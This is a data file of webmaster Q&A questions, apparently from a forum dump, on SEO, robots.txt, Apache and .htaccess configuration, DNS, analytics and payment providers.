{"id":"25824","title":"How would you convince a domain owner to sell his domain to you?","text":"I'm wanting to have a domain name for my business that has already been registered by someone but that he is not using. He is offering it to me for $1000 (which is too much for me) and I offered him the sum of $300, which he is not interested in. How do I convince him to sell me the domain for a lesser price? As per my findings, that name is also occupied at social media sites, and the .org domain name is also occupied."}
{"id":"25829","title":"Prevent crawling of mobile site","text":"I have an issue with bots crawling the mobile site and returning hits on the mobile site for desktop users. The mobile content is in \/mobile\/ The regular site will redirect mobile users to the \/mobile\/ site Regular desktop browsers are allowed into the \/mobile\/ site and will see the mobile version (used for easy testing of mobile content from desktop). Can someone help with a sane robots.txt for this site that would work with Google and Bing. I want both crawlers to index the hole site, but only the mobile crawler should index the mobile site. I have found user-agent: GoogleBot-Mobile for google, but is there something like BingBot-Mobile or does it crawl only with bingbot? Also, is msnbot gone? Is this ok? User-agent: * Allow: \/ User-agent: Googlebot,bingbot Disallow: \/mobile\/ Allow: \/ User-agent: Googlebot-Mobile,bingbot-mobile Disallow: \/ Allow: \/mobile\/ I guess it would be better if desktop users got redirected away from the \/mobile\/ site to the regular content, but it's a bit outside scope of question. Thank you for your help!"}
{"id":"57934","title":"Multilingual Site - Bing\/Yahoo Ignoring Tags","text":"We have a site that we just created in Spanish (regular version is in English). We setup the site following google's recommendations. All seems good on that side. However, today I noticed that Bing\/Yahoo are ignoring the language setting on the page, and showing the spanish results for english users. Not all but some. I haven't been able to find any information from bing to what they need to fix this. Right now I am going to block those sites from indexing the spanish site. Has anyone had this problem? Suggestions welcome. EDIT: BELOW I ADDED WHAT THE INTEGRATION IS. <html lang=\"es\"> <head> <link rel=\"alternate\" href=\"http:\/\/www.domain.com\/\" hreflang=\"en\" \/> <link rel=\"alternate\" href=\"http:\/\/www.domain.com\/es\/\" hreflang=\"es\" \/> <\/head> I followed the rules outlined here. https:\/\/support.google.com\/webmasters\/answer\/182192?hl=en"}
{"id":"23172","title":"Page Speed Optimization Questions: defer parsing and specifying a char set?","text":"Continuing to optimized a web site, I'm using Chrome's Dev Tool add-on for Page Speed. I've been able to do a good bit of performance tuning thanks to its suggestions, but these two have me perplexed: I'm being told I need specify character set, but I have this in all my documents (meta tag below). It's within the head, does it need to be done prior to the HTML tag? If so, what's the syntax? <meta http-equiv=\"Content-type\" content=\"text\/html;charset=UTF-8\" \/> Second one I'm getting dinged on is deferring of Javascript. I know back in the day you could add a defer=\"defer\" to the JS, but I don't think that's valid, nor does that satisfy the Page Speed validators. How do I defer JS? Typically my sites have jQuery linked to Google's CDN, and then an overarching local site.js loaded right after the jQuery core, like so: <script src=\"http:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.7.1\/jquery.min.js\"><\/script> <script src=\"\/lib\/js\/site.js\"><\/script>"}
{"id":"64926","title":"Can AdWords ValueTrack parameters be nested?","text":"Google provides ValueTrack as a mechanism for adding dynamic parameters to your advertising URLs. I have successfully used it for tracking clicks from their search network and content network in separate campaigns: * `utm_term={keyword}` in a search campaign to pass the keyword the user searched for to my site * `utm_term={placement}` in a content campaign to passe the site where the ad appeared If I want want to combine the campaigns, can I somehow combine this tracking? I see that value track offers `{ifsearch:[value]}` and `{ifcontent:[value]}` options. Can the keyword and placement be nested inside of them like this? utm_term={ifsearch:{keyword}}{ifcontent:{placement}}"}
{"id":"23379","title":"Store customer in DB and PayPal?","text":"I am working on payment page of my website but cannot figure out at which process to store customer's details before sending them to PayPal payment page. Here's the process: 1. Choose Product page 2. Fill in customer details page 3. Cart confirmation page 4. PayPal official site payment page if success 5. redirect back to my site 6. Login to their account 7. Fill in some form if not success (cancelled\/denied\/etc) 8. redirect back to my site to meet cancellation page. What is the best approach for this circumstance as I would want to store only the successful transaction, customer who actually did make a payment but that has to be after I received the IPN code from PayPal. Will I lost their customer data on the way if I decide the store their details in the database after they are redirected back to my website? If I choose to store customer data at stage 3 in the temp table, I guess I would have had a long list of unsuccessful records in the temp table and I have to update back and forth in multiple tables for this approach. What would you recommend?"}
{"id":"51687","title":"Div with \"itemprop=text\" contains ratingblock. Will this harm SEO?","text":"I am using WordPress and I am planning to use `schema.org` attributes to optimize the site for SEO. Because of WordPress' structure, I am forced to put the `itemprop=text` on a `div`, containing both the whole content of the `article` (which is fine), but also a `div` which contains a _ratingblock_ with thumbs... Is this fine or not? Will this be a problem? I know it's not optimal, but I guess I don't have another choice. Example: <article id=\"post-29436\" itemtype=\"http:\/\/schema.org\/BlogPosting\" itemscope=\"\"> <header> <div class=\"post-entry\" itemprop=\"text\"> <div> <div class=\"thumblock \"> <img of a thumb> <img of a thumb> <p> content of postcontent of postcontent of postcontent of post <p> <\/div> <\/div>"}
{"id":"23377","title":"rel=canonical required for HTTPS?","text":"I'm offering a page through HTTP and HTTPS, both with the same URL scheme. I.e., a page is available as `http:\/\/www.example.com\/page1.html` as well as `https:\/\/www.example.com\/page1.html`. Should I add `rel=canonical` to one of those pages?"}
{"id":"29693","title":"How can I decrease load time (see image)","text":"> **Possible Duplicate:** > DNS takes too long to resolve  This website loads pretty fast, in less than 1 second on localhost. I have made it live on the server and load times are as high as 15 seconds. The initial GET request is taking too long. How to rectify the problem and what exactly is the problem. I have been trying to find solution, but I believe, I am searching the wrong thing. Also the I'm using Namecheap DNS management."}
{"id":"47896","title":"How can an exception be created for Facebook on robots.txt?","text":"I have a directory that I don't want Google to index because it could confuse people who don't know the site. However, I want everyone else to get updates when I post them on our Facebook page. The problem is that the general exception to the directory is also blocking Facebook access, which causes links to this directory impossible to post. Please ignore the fact about not allowing Google. I really just wanna know how to create an exception for Facebook but I thought I'd give the whole story to explain it better."}
{"id":"2601","title":"Should I use singular or plural nouns in a domain name and why?","text":"Me and a group of people are in the process of choosing a domain name for a future website and we aren't sure whether the noun in the domain name should be plural or singular. Currently we have 2 options : * echangehec.ca (English: exchangehec.ca) OR echangeshec.ca (English: exchangeshec.ca) * livrehec.ca (English: bookhec.ca) OR livreshec.ca (English: bookshec.ca) What are the advantages or disadvantages of choosing one or an other ? **Note:** The funding for the project is minimal and purchasing both is an option that should be avoided if it's not necessary."}
{"id":"15210","title":"How the Linkedin network\/degrees works?","text":"Linkedin is great for its feature of people degrees, up to three levels. Is there anyone who know how such feature has been built and how to keep it scalable with millions of people? (tech docs and algorithms types are welcome) Thank you"}
{"id":"61599","title":"How to block a spam bot .htaccess proper formatting?","text":"I have downloaded my access log file from my cPanel and found I have a bot I would like to stop. In the access log, there `User-Agent` string reads the following; > 88.80.205.219 - - [08\/May\/2014:23:29:52 -0500] \"GET \/ HTTP\/1.0\" 301 - \"-\" > \"-\" > 88.80.205.219 - - [08\/May\/2014:23:29:56 -0500] \"GET \/ HTTP\/1.0\" 200 29019 > \"-\" \"-\" What is the proper format in my _.htaccess_ file to block this bot only?"}
{"id":"39277","title":"Schema.org MedicalClinic","text":"I'm using http:\/\/schema.org\/MedicalClinic on main page of my client's site. I've filled in as many as I can including address,name, url, image url, geolocation, descripition, opening hours, specialty etc. It's coming up ok when I test it on Richsnippet tool but I don't know what benefits I can get from using it. I don't see anything on the search result pages on Google. What should I expect from it? Would the image show up on the SERP? If so, wouldn't it be similar to what you would get with Publisher meta tag and Google Plus as it also allows you to get Google Plus image appearing on the SERP?"}
{"id":"39272","title":"How to manage DNS from multiple registrars in one place?","text":"I have domains from different providers (GoDaddy, domaindotcom, namesilo, namecheap, etc) is there any way to manage DNS from one panel? Sometimes when move to a new hosting server, we need to change each domain name server.. by login one by one."}
{"id":"54645","title":"Serve most of a domain with Apache, but use mod_proxy to serve some URLs from Lighttpd","text":"So we wish to host some pages on a new server with apache2, and embed some of our old content & functionality from another server with lighttpd in an iframe. I'm looking at this configuration from the apache docs (http:\/\/httpd.apache.org\/docs\/2.2\/vhosts\/examples.html#page-header) under \"Using Virtual_host and mod_proxy\" together. <VirtualHost *:*> ProxyPreserveHost On ProxyPass \/ http:\/\/192.168.111.2\/ ProxyPassReverse \/ http:\/\/192.168.111.2\/ ServerName hostname.example.com <\/VirtualHost> The only issue is that I want to proxy only on a subdomain, or even better, if I can keep the top domain and proxy only if the url contains a particular path ie. \"\/myprocess.php\". So in essence the DNS will point to the apache2 as the \"master router\"."}
{"id":"27060","title":"Do search engines see comments in the source code as a backlink?","text":"I would like to know if Google or any other search engine would regard a comment in the source-code containing a link: <!-- domain.com --> as a back-link. If yes how much weight is put onto it and if no why do so many script include back-links in the source-code commenting."}
{"id":"35753","title":"Will URL encoding the image names affect Google","text":"Just wondering if it makes any difference to Google whether or not I URL encode the image names when linking to them. For example if I have an image named `\"test-1234-!.jpg\"`, does it make a difference if I ~~name it~~ refer to it as `\"test-1234-%21.jpg\"`? The reason I am asking is because I am doing a major shift in the way my website works and while all new image names will not be URL encoded, all of the past ones are. I want to see if it is worth it renaming all of them or if I should just leave it like that."}
{"id":"42505","title":"Disqus style plugin for contact forms","text":"I've been using a combination of Swifmailer and jQuery to add a website contact form to sites that aren't using a cms, but the ease of implementing a Disqus module for comments makes me wonder if an equivalent is available for a contact form? I've looked high and low on the Web, and I still haven't anything that can be used outside of WordPress, Drupal etc or doesn't require heavy configuration on the back end"}
{"id":"42509","title":"What is the correct way to track carousel click through using Google Analytics?","text":"I have a simple carousel with multiple slides on our home page, and I want to use Google Analytics to track how effective each slide is. What is the correct way to do this in GA? I could use: **Event Tracking** Event Tracking is one option. User clicks would trigger the event and track which image the user interacted with. **Campaign Tracking** Campaign Tracking is another option whereby I could define the parameters of the slide and then qualify the pageview on the target page as being from the carousel. For this use case, what is the \"correct\" tool to use? I'd like to make sure that I'm doing this the same way everyone else does so if we bring in additional resources or contract with a vendor our GA implementation doesn't come out of left field."}
{"id":"16096","title":"When to reply 400 Bad Request","text":"According to www.w3.org, a Web server should reply with status code `400 Bad Request` if: \" _The request could not be understood by the server due to malformed syntax. The client SHOULD NOT repeat the request without modifications_ \" Does that mean only request that violates some HTTP spec? Or does it include a request that my particular Web app thinks is broken? When would you reply `400`? For example, if my Web app expects a query string to always include a \"function=...\" parameter, would you reply code `400 Bad Request` or `403 Forbidden`? (403 means that _\"The server understood the request, but is refusing to fulfill it.\"_ )"}
{"id":"6661","title":"Spatial data mining algorithms about local business web services?","text":"Do you know any research paper about spatial data mining algorithms to retrieve trends about local business services (such as google places.. etc) let's say most rated restaurants this week.. etc ? I need scientific material about it. thanks"}
{"id":"6666","title":"Google Analytics Liked Tool to Detect Visitor IP Address","text":"I was wondering is there any free google analytics tool, which I can detect my visitor IP address? I try to use statcounter, but they are only limit the log to 500 entries. The reason I ask, because I want to detect Adsense click fraud activity on my web site. Thank you."}
{"id":"7","title":"Accepting money on a website as payment: when do I move past PayPal?","text":"I have a website I accept payments via PayPal. This works well, at what point does it make sense to change providers, given PayPal takes a higher percentage than some other services. What are the best alternatives to PayPal and how much should I be bringing in to have it make sense?"}
{"id":"52883","title":"Using a CDN for CMS software (multiple sites)","text":"I'm currently researching ideas for the media management side of a CMS I'm writing. I was looking at having images served from a CDN which is fine on a single site, but I want all sites that run the CMS to make use of a CDN (which will most likely be a custom developed one, rather than a third party service like S3). My main question is: **Is a multi-site CDN a good idea?** I can't think of a downside, but have probably missed something - obviously they won't share the same folder, as I invisage the requests to be `css.cdnsite.com\/example.com\/style.css` or something along those lines. Having multiple sites in the same place will obviously make it easier for us to manage, as well as being cheaper, but then I wonder if it'll be worth it... Long story short: **How should the CMS handle user uploaded media (separate installations)** Just keep a local copy of all assets and serve them from the same site, like in days of yore? Keep a local copy, force site to use `www.` and have CDN subdomains per site? Or use a single separate CDN for all sites? Apologies for the length of this question, not sure if this should be multiple questions or not, as all parts are kind of related and could affect each other."}
{"id":"52886","title":"301 redirect all pages with a specific extension","text":"I have a website that is not on ASP anymore, it's a Drupal 7 website now. _**I need to use an .htaccess file to redirect with code 301 all pages with .asp extension to the 404 page or a specific URL._** (Background story: Drupal will catch non-existing pages such as `domain.com\/test` and redirect to 404 page. But Drupal will not catch non- existing pages with ASP extension such as `domain.com\/test.asp` and it will instead serve a generic Not Found Apache page.) For example, if someone tries to access `domain.com\/test.asp`, the user should be taken to `domain.com\/404` I have searched and searched but I can't find a solution to this particular problem. How can I code that in an .htaccess file?"}
{"id":"16074","title":"Very few visitors on Analytics: incorrect setting?","text":"it's quite a long time Analytics is making me crazy: I have a 2 years old website, started with Aruba (an Italian provider) and then transfered on Hostgator. It's a blog Wordpress + MyBB forum, and on both the platforms I've the Analytics code in the footer. The problem is that the stats on Analytics are simply ridiculous compared to the numbers reported by the Aruba (before) and Hostgator (then). I think that the numbers of Aruba\/Hostgator are correct, simply because just the daily users connected on the forum is higher than the Analytics numbers. I know it's a really confused request, but maybe you can help me to understand what's the problem."}
{"id":"32163","title":"Is CPanel: SSL certificate installed correctly?","text":"My web host said they installed an SSL certificate for me. On Cpanel, in the SSL tab, is has the following: SSL status Enabled CA certificate Not installed Is this what it should say if they have done the job properly?"}
{"id":"16894","title":"How to present videos for Google Bot","text":"i have a website which streams Flash Videos. For Google i have a special page due to using AJAX for normal Users (see articles on \"_escaped_fragment_\" for this). What i want to know is how i should present the Video in the Crawler optimized Page so GoogleBot can most easily recognize the video and maybe even add it to their Google Video search?"}
{"id":"16320","title":"Wordpress blog in subdirectory of ASP.NET webforms application","text":"I am trying to setup a Wordpress blog to run in the subdirectory of an ASP.NET wbforms application so I can have http:\/\/www.myapplication.com\/blog I have Wordpress running on IIS 7 fine as it's own application but when I create the 'blog' subdirectory and set it to be an application with the Wordpress folder as the application root. I keep coming up against a configuration error... HTTP Error 500.19 - Internal Server Error Config Error Configuration section not allowed to be set below application I've done quite a bit of searching on this and I have tried modifying the applicationHost.config file to set the following value... <section name=\"modules\" allowDefinition=\"MachineToApplication\" overrideModeDefault=\"Deny\" \/> But the configuration errors persist. Can anyone suggest any other config changes I need to make to allow the Wordpress application to run in the \/blog subdirectory?"}
{"id":"16898","title":"What document types can be included in an XML sitemap?","text":"AFAIK, Google accepts sitemaps which are about ordinary URLs (text\/plain), images (image\/png, image\/gif, image\/jpg, etc.), and videos (video\/avi, video\/mpeg, etc.). My question is, how many Internet Media Types (formerly known as MIME Types) can have sitemaps. For example, if I'm a researcher, can I create a sitemap for my PDF files (application\/pdf), or can a compose create a sitemap for his\/her compositions (audio\/mpeg3)?"}
{"id":"54883","title":"Bad links point to old domain - should I disavow on new domain?","text":"I am working with a site which we'll call `www.newdomain.com`, which was hit by Penguin this month despite no unusual practices. I found lots of really spammy links to their old site, `www.olddomain.com`, which 301s to the new domain. So I've gone through the process of identifying which links are really bad, made contact to ask for removal, and am at the stage of disavowing links. But wait! None of the bad links point to `newdomain.com`, and I worry that a disavow request via this domain in Webmaster Tools will damage something. 1. Do the old band links affect the new site? 2. If so, where do I disavow those old bad links? On Webmaster Tools for the new domain?"}
{"id":"61842","title":"Why is my Custom HTML tag not fired in Google Webmaster Tools","text":"I have a Custom HTML tag in Google Webmaster tools that is actually very simple. It consists of the following code (a GTM Macro): {{html generator}} This tag is only fired on the Thank-you page on my website. This firing rule works fine, as I'm using it for a couple of other tags. The Custom Javascript {{html generator}} macro is more complex. The macro generates one or two image pixels in HTML. Due to the complexity of the image pixels, I cannot use the Custom Image tag. : <img src=\"url1\/?query1\" width=\"1\" height=\"1\" \/><img src=\"url2\/?query2\" width=\"1\" height=\"1\" \/> Via console.log I have verified that the macro Javascript function generates the correct string. Why is the HTML not executed? I don't believe it is a caching issue as the query parameters always have a different outcome. I believe it is a timing issue. Update: I think I found a solution, but still it is unclear to me why it did not work in the first place. Solution: <script type='text\/javascript'> var tag = decodeURI({{A4Y segmented tag}}); document.write(tag); <\/script> This solution requires you to check the box: []Support document.write"}
{"id":"65740","title":"Configuring an MX record for Amazon's Route 53","text":"I am using Amazon Route 53 and have a correctly functioning `A` record pointing to an EC2 instance at `mydomain.com.au` with a Django stack running. My problem is, I tried to setup a Postfix mailserver but I could not receive mail, so I figured my problem is with the `MX` record (since local mail worked). This is what I have got for my `MX` record and just wanted to confirm if it is correct, or if it's nonsense: (Settings as per AWS interface) Name: left it blank (mydomain.com.au) Value: 10 titan.mydomain.com.au I have used \"titan\" because it's the hostname of my server - should I use \"mail\" instead? I keep seeing this on the web but can't find an explanation of if it's arbitrary. I want the e-mails to work such that `user@mydomain.com.au` gets delivered to the server. I have looked at this question and this one too, but didn't find an answer in them."}
{"id":"65746","title":"Google Analytics API: Issue with segment in which a page has NOT been visited","text":"I have a simple funnel situation. The users start at \/start\/ . Some of them reach the result at \/result\/ and obviously some don't. So it seems logical to me that: users who went to the start page = user who did see the result page afterwards + user who did NOT see the result page afterwards However my results are * users who went to the start page << user who did see the result page afterwards + user who did NOT see the result page afterwards * user who did see the result page afterwards is smaller than users who went to the start page and has about the same pageview ration as the api calls tell me. * user who did NOT see the result page afterwards is just 10% smaller than users who went to the start page Does somebody know why? The calls are run via the spreadsheet addin to the API. all three calls share these attributes: * Metric: ga:users * no filter * are for the last 30 days * Sampling: HIGHER_PRECISION The segments differ for each call * users::sequence::ga:pagePath=~\/start\/$ * users::sequence::ga:pagePath=~\/start\/$;->>ga:pagePath=~\/result\/.* * users::sequence::ga:pagePath=~\/start\/$;->>ga:pagePath!~\/result\/.* Does anybody have a hint? Thank you so much!"}
{"id":"61846","title":"How do I server multiple domains from the same directory and codebase without my configuraton breaking when apache.conf is overwritten?","text":"I have 20 domains on a VPS running cPanel. One public_html is filled with code, the remaining 19 are symbolic links to that one. (For example, `assets` is a directory within `public_html` ... for the 19 others, there's a symbolic link to that directory in each each accounts `public_html` dir.) It's all PHP \/ MySQL database driven, with content changing depending on the domain. It works like a charm, assuming cPanel has `suExec` enabled correctly, and assuming apache.conf does NOT have `SymLinksIfOwnerMatch` enabled. However, every few weeks, my `apache.conf` is mysteriously overwritten, re- enabling `SymLinksIfOwnerMatch`, and disabling all 19 linked sites for as long as it takes for me to notice. Here's the offending line in apache.conf: <Directory \"\/\"> AllowOverride All Options ExecCGI FollowSymLinks IncludesNOEXEC Indexes SymLinksIfOwnerMatch <\/Directory> The addition of `SymLinksIfOwnerMatch` disables the sites in a strange way ... the html is generated correctly, but all css\/js\/image in the html fails to load. Clicking any link redirects to `\/`. And I have no idea why. I do have a few things in my `.htaccess`, which work fine when `SymLinksIfOwnerMatch` is not present: <IfModule mod_rewrite.c> # www.example.com -> example.com RewriteCond %{HTTPS} !=on RewriteCond %{HTTP_HOST} ^www\\.(.+)$ [NC] RewriteRule ^ http:\/\/%1%{REQUEST_URI} [R=301,L] # Remove query strings from static resources RewriteRule ^assets\/js\/(.*)_v(.*)\\.js \/assets\/js\/$1.js [L] RewriteRule ^assets\/css\/(.*)_v(.*)\\.css \/assets\/css\/$1.css [L] RewriteRule ^assets\/sites\/(.*)\/(.*)_v(.*)\\.css \/assets\/sites\/$1\/$2.css [L] # Block access to hidden files and directories RewriteCond %{SCRIPT_FILENAME} -d [OR] RewriteCond %{SCRIPT_FILENAME} -f RewriteRule \"(^|\/)\\.\" - [F] # SLIR ... reroute images to image processor RewriteCond %{REQUEST_URI} ^\/images\/.*$ RewriteRule ^.*$ - [L] # ignore rules if URL is a file RewriteCond %{REQUEST_FILENAME} !-f # ignore rules if URL is not php #RewriteCond %{REQUEST_URI} !\\.php$ # catch-all for routing RewriteRule . index.php [L] <\/ifModule> I also use most of the 5G Blacklist 2013 for protection against exploits and other depravities. Again, all of this works great, except when `SymLinksIfOwnerMatch` gets added back into apache.conf. Since I've failed to find the cause of whatever cPanel\/security update is overwriting apache.conf, I thought there might be a more correct way to accomplish my goal using group permissions. I've created a 'www' group, added all accounts to the group, and `chmod -R`'d the code source to use that group. Everything is `644` or `755`. But doesn't seem to be enough. My unix isn't that strong. Do you need to restart something for group changes to take effect? Probably not. Anyways, I'm entering unknown territory. Can anyone recommend the right way to configure a website for multiple sites using one codebase that doesn't rely on apache.conf?"}
{"id":"45576","title":"Running Microsoft's IE VPCs on Windows 8","text":"I am trying to run Microsoft's VPC VMs on Windows 8 but no luck. As you may know, Microsoft's Virtual PC software doesn't work on Windows 8. They are recommended to use their new virtualisation technology, Hyper-V, instead of Virtual PC. Okay, fair enough, but the problem is, OSes requires to re-activate when I bind them with a new VM. I extracted the VM's spec from VPC versions and tried to create exact machine but it doesn't work either. So, I need to find a way to work with old IE versions on Windows 8, preferably with those VMs."}
{"id":"21051","title":"Do multiple Google Analytics profiles share the same raw data?","text":"I have two profiles under one web site in Google Analytics. The two profiles are essentially the same except one has defined parameters to exclude (e.g. id, page... etc) so that I could aggregate the page views while ignoring parameters. Now I begin to think it's a bad idea because my mail chimp (integrated with Google Analytics) only reports campaign data in one profile and not the other. Does data go into one profile and not the other? My impression was that Google Analytics stores all data in one huge database, and all views (profile, dashboard, statistics... etc) are all just database queries -- and even if I deleted profile and recreate it I'd still get the same data. Is this true? Or does each profile hold its own set of data, not shared with other profiles?"}
{"id":"52082","title":"\"pretty urls\" with only JavaScript content changing","text":"I have a small webapp that uses a single HTML file, but accepts any URL in the directory. I'm using mod_rewrite to make all of these send index.html. The index page may be accessed at, for example, either of these, but also any other number. * http:\/\/stacklint.aboutscript.com\/ * http:\/\/stacklint.aboutscript.com\/18327507 Will I be penalized in search rankings if Google sees all of these URLs having the same HTML source? Should I declare all of these pages as canonical to the root?"}
{"id":"43948","title":"Host website on UNIX, but email on Windows?","text":"Client has web hosting and email hosting from one web provider. Their email hosting is integrated with their systems for their office — an Exchange server (located on their premises). Both are on a Windows server (the same one, TBC — security problem?), but this web host does not support PHP, a problem for: * WordPress on a subdirectory * PHP contact form scripts * PHP includes Nor does it support .htaccess — a problem for things that I have built into the site: * Redirects\/404 * Various other enhancements Client has agreed to move the website over to either a UNIX server with the same web host, or I can also suggest another (cheaper\/better) one. The email can remain hosted on the Windows server (as I understand Exchange will not work on Apache). Will it be possible to seamlessly and easily do this? Likely by changing A\/CNAME\/NS\/MX settings for the domain?"}
{"id":"31220","title":"Will ranking be affected with a mobile XML sitemap for a mobile site with the same URLs as the desktop site?","text":"We have a site with both a desktop version and a mobile version. Most of the content are the same and both versions have the same URL, but the HTML generated is device specific. Looking at Google's recommendations for smartphone-optimized sites, one could get the impression that the mobile xml sitemap is only for sites with different URLs. Will ranking be affected - negatively or positively - if we add a mobile xml sitemap that effectively will be a duplicate of the desktop sitemap?"}
{"id":"61761","title":"lazy loading images and effects on SEO","text":"We are using the following technique to lazy load images in our site: For all images we put in the `src` attribute a url for a default img (i.e. a loader) and put the actual image url in the `data-src` attribute. Like so <img src=\"loader.gif\" data-src=\"img1.jpg\" \/> When the image is outside of the viewport nothing happens, but when the image goes inside the viewport, then the url from the `data-src` attribute is loaded and the image is correctly shown. This has as a result that Google sees all the images in the page (i.e. a search results page) as having the same `src` attribute. Because the google bot of course parses only the 'unloaded' img tag with the default `src`. My question is: **does having many img tags with the same`src` attribute affect the SEO of the page**?"}
{"id":"26229","title":"Apache show file index as utf-8","text":"I'm on a shared hosting which runs Apache on a Windows server. I am running Linux and I have uploaded some files that should be accessible directly via a public URL (that is known only by a few people). Now, some of these files contains accented characters (ex: \"encyclopédie.pdf\") but the file index show the files with replacement symbols (ex: \"encyclopédie.pdf\"). Can I correct this via `.htaccess` specifying the charset of the index? Or do I have to rename the files without accents?"}
{"id":"54001","title":"In Google Analytics, collect the site search query parameter only on a specific page","text":"I've set up site-search for our main Google Analytics profile, which filters GET named \"q\". While this works nicely, it also collects data from our starting page (which contains a dealer locator which also uses the \"q\" parameter to search). Is there any way to seperate two different search engines, which use the same query parameter?"}
{"id":"43906","title":"Finding a Payment Gateway?","text":"I have a client who would like to sell glass pipes online. The problem I run into is with the payment gateway. Glass pipes fall into two categories `drug paraphernalia` or `tobacco product`. This leads me to here and asking: Does anyone know of a payment gateway that will process payments for glass pipes? Note: Doing some Google searching I read that Authorize.net will accept tobacco but when I spoke with them they said they do not."}
{"id":"43909","title":"Is this DFP error message the reason my ad won't show?","text":"I'm setting up DFP to display ads and I have an ad tag (Javascript) from adtechus.com. The tag looks like this: <script src=\"http:\/\/adserver.adtechus.com\/?adrawdata\/1.0\/1111\/11111\/0\/0\/ADTECH;loc=100;noperf=1;\"><\/script> When I paste that tag into DFP, I get an error message saying it does't recognize the tag format:  ...and, more importantly, my ad isn't showing on the page. DFP seems to be taking my adtechus ad tag regardless and working with it, despite the error message. But could that be the reason my ad isn't showing? And how can I fix it?"}
{"id":"2375","title":"Why would anyone need my registrar information for a new web site?","text":"I work for a company that has an older website. We hired a firm to update our web site and index it properly. I have control of the actual domain name. I created an FTP site for them to use, but they are also asking for my registrar account and password. The only explanation I have gotten so far is that they need it for \"indexing\" the site to search engines. Is this a valid reason, or is their any valid reason they would need my registration information?"}
{"id":"63192","title":"Multiple or single web site for company and subsidiaries","text":"I work for a company that is specialized in servers & networking Equipment. The company holds 3 subsidiaries that have different IT activities (software Engineering & application performance management, IT security, Oracle based business applications). Each subsidiary has its own identity (Name, logo). We are thinking about rebuilding the company website and the main question I struggle on is to either create a single web site for the company and the subsidiaries, or to create one for each subsidiary. In the first scenario, the visitor have to dig deep to reach the information he wants. In the second one, he may miss an information that might be of interest. Are there any best practices or existing cases I should know about. Thanks in advance"}
{"id":"63193","title":"Google AdSense ads per page limitations","text":"In the Google's Ad placement policies stated that the limitation is \"up to 3\". However there are lots of sites having 6 or even more ads per one single page. Moreover on some site there is information that the limitation is actually - 6. So I'm a bit confused. How the things in real?"}
{"id":"63197","title":"Competitor's website uses duplicate description meta tags","text":"I have found that a website which appears above mine for a certain popular keyword combination has duplicated the Description meta tag. Is this bad practice? Is it something that Google might notice?"}
{"id":"29350","title":"Responsive CSS grid having capability to change column order visually","text":"Trying to find a responsive CSS grid with the capability to change column order visually. E.g., I have content before navigation, but visually it should be vise versa: left navigation, right content. I know ZURB's Foundation has this capability (pull, push) but I need something ready for production."}
{"id":"59409","title":"Kloxo - Use third party nameserver","text":"Here's my case: I got my domain from a registrar. I got my VPS up from a provider who also offers free DNS hosting, on their own server (separately from my VPS, IP:111.111.111.111). So I got these third- party nameservers, lets name them: * ns1.provider.com * ns2.provider.com and pointed my domain registrar to them. I let it propagate for 24 hours so I believe its ok. (if I ping my domain I get the IP for these nameservers - 111.111.111.111) Afterwards I headed to my providers cPanel (the one they gave me for the DNS hosting service) and changed the default A Record IP from 111.111.111.111 to the IP associated with my VPS (IP:222.222.222.222). The last step, as I see it, is to configure my VPS via Kloxo panel and add the domain. Can someone guide me how can I achieve that? Is it just enough to create a new DNS Template and add as Primary DNS \"ns1.provider.com\" and Secondary DNS \"ns2.provider.com\"? Every tutorial I found is using Kloxo to create local nameservers on the same VPS which is something I want to avoid to save resources.."}
{"id":"45573","title":"Consequence of redirecting ALL 404s on a site","text":"I've just gone through my sites 404 list and redirected all of them to the front page. There were in general 2 categories of links. The first was relative links of client sites which we may have hosted (we are a web development company), which somehow have ended up relative to our URL. The second were links which were very general, most likely used by spam bots to register on the site (we have blocked all anonymous registration). **My questions is:** Should I not have done this? If any of these are spam style links from another site, will redirecting them to my front page actually harm my SEO ranking? How do other users deal with a list of 404 errors?"}
{"id":"45578","title":"Pages wrapped in a form element. What effect would this have on SEO or other machine-readability?","text":"I'm helping somebody with a site and I've noticed that all the main pages are wrapped inside a form. I mean: <body> <form> [ everything in the page ] <\/form> <\/body> Now I'm an experienced frontend dev, and find this markup horrendous. It's technically permitted, as a form can contain any flow content, but it's semantically horrible. Most of these pages don't even contain form child elements (input, select, etc.). However, in this case I'm only helping them with usability and findability, I'm not re-doing their frontend code. Will this weird use of a form mess up search ranking, or otherwise impact on automated parsing of a page, such as in assistive technology like screen readers?"}
{"id":"43631","title":"Do advertisers use the keyword meta-tag to find potentially relevant websites?","text":"A couple of days ago, I have read somewhere (but I can't find the page anymore) that one should set a `keyword` meta-tag with relevant keywords, because advertising networks use these to find potentially interesting websites for advertising. Is this true? This question is not related to ranking."}
{"id":"57100","title":"Can I tell Google which image to use for the preview in custom search?","text":"I currently use Google custom search for my static site. When I use it, I sometimes get images next to the entry:  I think Google simply takes the first image in the article. But I would rather like it to take the featured image (which is most of the time not in the article at all, but much smaller than all images that are in the articles and shows the topic of the article much better). **How can I tell Google which image to use for the preview?**"}
{"id":"26238","title":"Non-international domain names and SEO","text":"My current domain name is meow.fr. However, the website is in French AND English (we can switch the language, and it's not automatic translation, it's truly a multilingual website). Still, the websites is still visited mostly by French (coming from Google), and not many english speakers. Why that? Should I get a .com \/ .org instead?"}
{"id":"53136","title":"How to find the content that are directly copied from other websites?","text":"We're managing a client's website for SEO. We have recently found that some of the content on my client's website are directly copied from other websites. As a solution provider we have recommended to replace the content with original content. Is there are way we can find out this. Any suggestion to speed up this process would helpful."}
{"id":"2110","title":"What should I know about shopping carts? (terms & services)","text":"I'm building my first shopping cart. Is there something I should know about shopping carts? For example, should I tell my customer that he should prepare a terms & services document? My customer has a small shop of cosmetics. I would like to know all what I should know."}
{"id":"67310","title":"Why is the PageRank for my website listed as \"unavailable\" in this tool?","text":"I usually check my site up at SEO Site Checkup. Now, my site isn't top-notch, and I don't expect it to have a high PageRank, but SEO Site Checkup says the PageRank is **unavailable** for my site (that's different from a PageRank of 0 or 2...). What does \"unavailable\" mean in this case, and how do I achieve a PageRank number? Here's a screenshot:  By the Way: My sitemaps have been submitted to Google, I didn't receive any messages in Webmaster Tools, and my webpages have been indexed by Googlebot. If you search `site:example.com` in Google for example, you get results from my site, meaning that my site is indexed. It's just that it never appears in real, natural searches (not `site:` based ones), and my PageRank is listed as \"`unavailable`\"."}
{"id":"14021","title":"Any other services like MouseTrace? How useful is it?","text":"I just need to know if there are any alternatives to mousetrace - http:\/\/www.mousetrace.com"}
